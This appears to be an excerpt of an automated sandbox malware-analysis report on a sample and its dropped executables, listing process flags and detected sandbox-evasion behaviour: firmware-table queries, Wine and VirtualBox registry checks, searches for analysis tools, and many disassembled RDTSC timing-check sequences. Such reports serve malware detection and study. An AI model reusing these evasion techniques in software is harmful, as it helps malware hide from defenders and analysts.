Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002757001\9fee9e49cf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe	Binary or memory string: PROCMON.EXE
Source: svchost.exe	Binary or memory string: PROCESSHACKER.EXE
Source: svchost.exe, 00000012.00000002.3306530031.000001AF56C13000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXENAL
Source: svchost.exe, 00000012.00000002.3301350169.000000018004A000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXEPERFMON.EXEPROCEXP64.EXEPROCEXP.EXEPROCMON64.EXEPROCMON.EXEPROCESSHACKER.EXESYSTEMEXPLORER.EXE.BINC:\WINDOWS\8237A11BDD9E86A0396D7432A94890CF93E147E9BC5EF966A96414B8420D5A16017418855180A6DBC2275A230D5FBB0B99534A6330424A83F91349CD6780D12F
Source: svchost.exe, 00000012.00000002.3306996837.000001AF56C83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @PROCMON.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659187 second address: 65918B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6581C2 second address: 6581C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6585C5 second address: 6585DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007F85E0CFF5E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007F85E0CFF5E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6585DA second address: 6585E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6585E4 second address: 658601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jng 00007F85E0CFF5F8h 0x0000000f jmp 00007F85E0CFF5ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B149 second address: 65B20A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F85E0BBFC25h 0x00000008 jp 00007F85E0BBFC16h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 jmp 00007F85E0BBFC26h 0x00000019 push 00000000h 0x0000001b jo 00007F85E0BBFC28h 0x00000021 call 00007F85E0BBFC1Bh 0x00000026 mov esi, dword ptr [ebp+122D3103h] 0x0000002c pop esi 0x0000002d pushad 0x0000002e mov ecx, dword ptr [ebp+122D2D67h] 0x00000034 pushad 0x00000035 jne 00007F85E0BBFC16h 0x0000003b mov ebx, dword ptr [ebp+122D2B37h] 0x00000041 popad 0x00000042 popad 0x00000043 call 00007F85E0BBFC19h 0x00000048 push edx 0x00000049 jbe 00007F85E0BBFC27h 0x0000004f jmp 00007F85E0BBFC21h 0x00000054 pop edx 0x00000055 push eax 0x00000056 jmp 00007F85E0BBFC23h 0x0000005b mov eax, dword ptr [esp+04h] 0x0000005f push edx 0x00000060 jmp 00007F85E0BBFC23h 0x00000065 pop edx 0x00000066 mov eax, dword ptr [eax] 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d pop eax 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B20A second address: 65B210 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B4A3 second address: 65B4A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B4A7 second address: 65B554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F85E0CFF5F1h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push esi 0x00000015 push esi 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop esi 0x00000019 pop esi 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007F85E0CFF5F7h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 jmp 00007F85E0CFF5F0h 0x0000002a pop eax 0x0000002b mov cx, F803h 0x0000002f call 00007F85E0CFF5F6h 0x00000034 jns 00007F85E0CFF5ECh 0x0000003a mov edi, dword ptr [ebp+122D232Eh] 0x00000040 pop edx 0x00000041 push 00000003h 0x00000043 push 00000000h 0x00000045 mov ecx, dword ptr [ebp+122D2A47h] 0x0000004b mov esi, dword ptr [ebp+122D2DAFh] 0x00000051 push 00000003h 0x00000053 mov dword ptr [ebp+122D1D6Fh], eax 0x00000059 call 00007F85E0CFF5E9h 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F85E0CFF5EFh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B554 second address: 65B5B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F85E0BBFC21h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jnl 00007F85E0BBFC1Ah 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c mov eax, dword ptr [eax] 0x0000001e jmp 00007F85E0BBFC27h 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F85E0BBFC28h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E338 second address: 66E33E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67B8B7 second address: 67B903 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F85E0BBFC16h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F85E0BBFC24h 0x00000011 jng 00007F85E0BBFC1Ah 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F85E0BBFC22h 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 push edx 0x00000022 pop edx 0x00000023 pop edx 0x00000024 jne 00007F85E0BBFC1Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BE0B second address: 67BE27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F85E0CFF5EFh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BE27 second address: 67BE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007F85E0BBFC16h 0x0000000e jns 00007F85E0BBFC16h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BE3D second address: 67BE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BFAC second address: 67BFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67BFB2 second address: 67BFB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C139 second address: 67C15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a jno 00007F85E0BBFC16h 0x00000010 jmp 00007F85E0BBFC21h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C15B second address: 67C17E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F85E0CFF5FEh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C2C9 second address: 67C2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C2CF second address: 67C2E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5EEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C541 second address: 67C548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C6A9 second address: 67C6AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C6AF second address: 67C6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C6B3 second address: 67C6BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C7D6 second address: 67C7F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0BBFC26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C7F7 second address: 67C7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C94C second address: 67C958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F85E0BBFC16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C958 second address: 67C96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F85E0CFF5EEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C96D second address: 67C977 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F85E0BBFC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67C977 second address: 67C996 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F85E0CFF5F5h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D044 second address: 67D07D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F85E0BBFC26h 0x00000009 popad 0x0000000a jnp 00007F85E0BBFC2Eh 0x00000010 js 00007F85E0BBFC16h 0x00000016 jmp 00007F85E0BBFC22h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D07D second address: 67D094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F85E0CFF5E6h 0x00000009 jmp 00007F85E0CFF5ECh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D1DE second address: 67D204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F85E0BBFC1Eh 0x0000000a jno 00007F85E0BBFC1Ch 0x00000010 popad 0x00000011 push edi 0x00000012 push esi 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D648 second address: 67D65B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F85E0CFF5E6h 0x00000008 ja 00007F85E0CFF5E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ECCD second address: 67ECD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653E5F second address: 653E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653E65 second address: 653E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681905 second address: 68190B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680A31 second address: 680A36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687359 second address: 68738F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F85E0CFF5F6h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b ja 00007F85E0CFF5EEh 0x00000011 jo 00007F85E0CFF5E6h 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jo 00007F85E0CFF608h 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68738F second address: 687393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687393 second address: 687399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68752C second address: 687532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687AB5 second address: 687ADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F85E0CFF5F6h 0x00000007 jp 00007F85E0CFF5F2h 0x0000000d jg 00007F85E0CFF5E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6899E8 second address: 689A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F85E0BBFC24h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A07 second address: 689A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689AAE second address: 689AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689B58 second address: 689B5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689B5D second address: 689B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A330 second address: 68A33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A33B second address: 68A340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A340 second address: 68A345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A71D second address: 68A723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A97D second address: 68A99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F85E0CFF5E6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F85E0CFF5EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A99B second address: 68A99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B7C3 second address: 68B7C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B7C7 second address: 68B7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F85E0BBFC16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B7D5 second address: 68B7D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
